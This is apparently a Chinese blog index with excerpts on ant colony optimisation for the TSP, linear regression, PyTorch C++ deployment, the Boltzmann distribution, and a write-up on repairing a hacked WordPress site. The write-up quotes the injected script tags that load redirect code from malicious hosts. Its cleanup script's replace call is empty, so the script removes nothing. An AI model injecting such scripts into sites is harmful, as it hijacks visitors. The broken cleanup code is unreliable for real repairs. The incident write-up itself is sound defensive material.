旅行商问题与蚁群算法

1 引言

旅行商问题(Traveling Salesman Problem,TSP)是一个经典的组合优化问题:说有一个商品推销员要去若干个城市推销商品,该推销员从一个城市出发,需要经过所有城市后,回到出发地。请问他应如何选择行进路线,以使总的行程最短?

旅行商问题的可行解是所有城市(假设数目为n)的全排列(n!)。随着城市数目的增加,可行解数目呈现指数增长,无法再多项式时间内穷举,因此TSP问题是一个非确定性多项式(Non-deterministic Polynomial )问题,也就是“NP”问题。由于较高的时间复杂度,“NP”问题规模较大时无法精确求解,因此只能寻求近似求解。

1997年,Dorigo等人[1]提出蚁群算法(Ant Colony System)并用于求解旅行商问题。蚁群算法受到“蚁群总是能以较短路线觅得食物”这一现象的启发。图1演示了这一过程:(a)中一些蚂蚁达到了分叉路口(一个决策点);(b)中一些蚂蚁选择了上方的路,另一些选择了下方的路;蚂蚁通常匀速前进并匀速释放信息素(Pheromone,用短虚线表示),(c)中选择更短路径的蚂蚁可以更快到达目标点,并且在路径上留下更浓密的信息素;(d)中越短的路径上留下了越多的信息素。后来的蚂蚁在路过相同的决策点是,有较大概率选择信息素浓度较高的路径,从而提升整个蚁群的觅食效率。
蚁群行进策略演示
图1 蚁群行进策略演示

蚁群这这种智能优化方法如何通过形成算法和代码为我们所用呢?这就是本文要解决的问题。

2 方法

蚁群算法的流程是循环执行以下步骤,直到满足退出条件:

  • 初始化蚁群参数。
  • 蚁群中每只蚂蚁搜索一个可行解。
  • 根据一次蚁群搜索的结果更新信息素。
  • 判断是否终止与退出。

下面以求解旅行商问题为例,说明各个步骤。

2.1 初始化蚁群参数

在旅行商问题中,设城市的数量为n,城市ij之间的距离为d_{ij}(i,j=1,2,\cdots,n)

在蚁群算法中,设蚁群中蚂蚁数量为mt时刻城市i与城市j路上的信息素浓度为\tau_{ij}(t)。初始时刻t=0时,各个城市之间连接路径上的信息素浓度相同,且为\tau_0,也就是\tau_{ij}(0)=\tau_0

2.2 一只蚂蚁搜索可行解(转移概率建模)

蚁群中的蚂蚁k(k=1,2,\cdots,m)随机选择一个城市作为出发点,然后依概率随机选择下一个目标城市。设蚂蚁kt时刻从城市i前往可达城市j的转移概率为P_{ij}^k(t),我们按如下思路建模:

  • 根据蚁群的特性,转移概率P_{ij}^k(t)应与城市之间的信息素浓度\tau_{ij}(t)正相关。这里假设成正比,即
P_{ij}^k(t) \propto \tau_{ij}(t) \tag{1}

继续阅读

深度学习基础教程_线性回归

从此文开始,本专栏将推出一系列深度学习与图像处理相关的教程文章。注重原理精讲和代码实现。实现框架将重点选择Tensorflow或Pytorch。


什么是机器学习?

传统的有监督机器学习可以归结为这样一个过程:

  • 获取标记数据对(x, y)
  • 建立含参模型,描述数据对(x, y)之间的关系:\hat{y} = f(x; \theta)。其中\theta是待学习的参数。
  • 利用众多标记数据对\{(x_i, y_i) | i = 1, \cdots, N\}通过梯度下降法训练得到合适的参数$\theta$,使得估计误差最小。也就是:
    \min_\theta \Vert \hat{y} - y \Vert_2^2

机器学习还包括半监督、无监督和强化学习等,这里暂不考虑。

继续阅读

WordPress网站被黑并重定向到top.worldctraffic.com的解决方案

发现被黑

我这快一年没打理的wordpress个人小站竟然被黑了。访问时主页样式明显不对,打开主页后5秒左右网站被重定向到top.worldctraffic.com等俄文网站。通过查看阿里云的日志警告我发现有Hacker利用我放在网站根目录下的adminer.php做了SQL注入(这应该是adminer.php的一个漏洞),抓取到了wordpress网站的wp_config.php文件,进而获得了db的用户名和密码。再通过adminer.php对网站db进行了篡改。(此时只想问候这个Hacker的族谱。)

入侵行为和修复方案

通过分析,我确定了入侵者的具体行为并找到了修复网站的办法。
入侵者的具体行为是:

  • 修改wp_options表的site_url字段为:https://top.worldctraffic.com/。【修复方案】 db中重新设置site_url设置为网站的域名。
  • 在wp_post表wp_content字段的每条记录尾部插入字符串:
<script src="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043" type="text/javascript"></script><script src="https://land.buyittraffic.com/clizkes" type="text/javascript"></script>

这两个js脚本会将网站重定向到top.worldctraffic.com、1.startrafficc.com等俄文网站页面。

【修复方案】编写python程序将黑客插入的重定向字符串删除,代码如下:

import MySQLdb
import pymysql
verbose = False

db = MySQLdb.connect(host="localhost", # your host, usually localhost
user="xxx", # your username
passwd="xxxxx", # your password
db="wordpress", # your db
charset='utf8')

# you must create a Cursor object. It will let
# you execute all the queries you need
cur = db.cursor()

# Use all the SQL you like
cur.execute("SELECT * FROM `wp_posts` WHERE `post_content` LIKE '%https://scripts.trasnaltemyrecords.com/pixel.js?track=r&amp;subid=043%'")

cur_res = cur.fetchall()

# print all the first cell of all the rows
cnt = 0
for row in cur_res:
    print row[0]
    cnt += 1

    new_text = row[4].replace("", "")

    if verbose:
        print(row[4])
        print('=============================')
        print(new_text)

    sql = "UPDATE wp_posts SET post_content ='" + 
    pymysql.escape_string(new_text) +"' WHERE id="+str(row[0])
    cur.execute(sql)
    db.commit()
    #break
print('Total', cnt, 'records')
db.close()

以上代码需要修改填入你自己的db用户名和密码并安装依赖项:

pip install pymysql
sudo apt-get install python-mysqldb
  • 为了杜绝wordpress的帖子里的javascript被执行,应当在wp_config.php中添加
    /** prevent html in post from executing*/
    define('DISALLOW_UNFILTERED_HTML', true);

最后,别忘记修改db密码,删除adminer.php,断绝黑客再次入侵的途径。

Python1.0用C++实现残差网络图像分类

友情提示:

  • 阅读本文需要您已经掌握Pytorch的Python用法,并掌握C++语言。
  • 推荐使用Ubuntu/Mac系统实验(cmake可以自动找到已安装的opencv)。
  • 本实验需要已安装好opencv和pytorch 1.0,C++编译环境(Ubuntu需要g++,Mac需要XCode)和cmake。

Pytorch 1.0已经于近日推出,其中一个亮点功能是支持将python训练的模型导出到C++进行推理。相比于目前流行的caffe训练模型+opencv dnn模块推理,pytorch从Python训练到C++部署提供了一体化的方案,可谓攻城狮的福音。

Python导出模型

根据Pytorch官网教程,我们先导出残差网络Resnet18的模型和预训练权重:

# coding=utf-8
import torch
import torchvision
from torchvision import transforms
from PIL import Image
import json
import cv2

# 初始化模型
model = torchvision.models.resnet18(pretrained=True)
model.eval() #将模型置为推理状态

# 随机生成一个输入张量
example = torch.rand(1, 3, 224, 224)

# 利用跟踪数据流的方法生成导出模型
traced_script_module = torch.jit.trace(model, example)
output = traced_script_module(torch.ones(1, 3, 224, 224))
print output.shape
print output[0, :5]
traced_script_module.save("model.pt")

这样在当前目录下会生成一个model.pt文件,包含了模型定义和权重。

继续阅读

机器学习中的玻尔兹曼分布——最小代价和极大似然.

看了一些机器学习的论文,我一直有一个困惑:有的文章训练时写的公式是最小化代价函数,有的文章训练时写的是一个跟自然对数有关的概率分布,这是为什么?经过一番学习,终于有了答案。在这个过程中,还有一个意外收获:那就是著名的逻辑斯第函数的由来。

物理上和统计上的玻尔兹曼分布

热平衡在物理学领域通常指温度在时间或空间上的稳定。在统计学习中,如果我们将需要学习的模型看成高温物体,将学习的过程看成一个降温达到热平衡的过程,最终模型的能量将会收敛为一个分布,并且在全局极小能量上下波动。这个过程称为“模拟退火”。而模型能量收敛到的分布称为玻尔兹曼分布(Boltzmann Distribution)。

在物理学中,玻尔兹曼分布,也称为吉布斯分布(Gibbs Distribution),描述了一个粒子系统处于各种状态的概率,其表达式如下:

F(state) \propto \exp{(-\frac{E}{kT})}

其中E是状态能量,kT是玻尔兹曼常数$k$与热力学温度T的乘积。

在统计学中,玻尔兹曼分布给出了一个系统在特定状态能量和系统温度下的概率分布:

p_i = \frac{\exp{(-E_i /kT)}}{\sum_{j=1}^M \exp{(-E_j /kT)}}

其中p_i是状态$i$出现的概率,E_i是状态能量,k是玻尔兹曼常数,T是系统的温度,M是系统的状态数量(系统状态是离散的,有限的;找到了一点高中物理原子的电子跃迁的感觉,那状态也是离散的!!!)。所以说,统计学中玻尔兹曼分布的使用是受到了物理中热力学的启发。

从玻尔兹曼分布的定义,我们可以发现系统的两个不同状态的概率之比仅与系统能量有关:

\frac{F(state2)}{F(state1)} = \exp{(\frac{E_1 - E_2}{kT})}

这个比值被称为玻尔兹曼因子(Boltzmann Factor)。

玻尔兹曼机

定义

玻尔兹曼分布在机器学习模型的设计中被广泛采用,我们就从玻尔兹曼机(Boltzmann Machine)说起。

玻尔兹曼机是一个对称连接的神经网络。它用于决定系统的状态是开(1)还是关(0)。玻尔兹曼机可以看成一个通过无向有权边全连接的网络。这个网络的能量函数定义为

E = - (\sum_{i < j} w_{ij} s_i s_j + \sum_i \theta_i s_i)

其中

  • w_{ij}是连接节点$i$和$j$的权重。
  • s_i是节点$i$的状态,且s_i \in \{0, 1\}
  • \theta_i是节点i的在全局能量函数中的偏倚。也就是说-\theta_i是节点i的激活阈值。

单个节点$i$的能量定义为

E_i = \theta_i + \sum_j w_{ij}s_j

继续阅读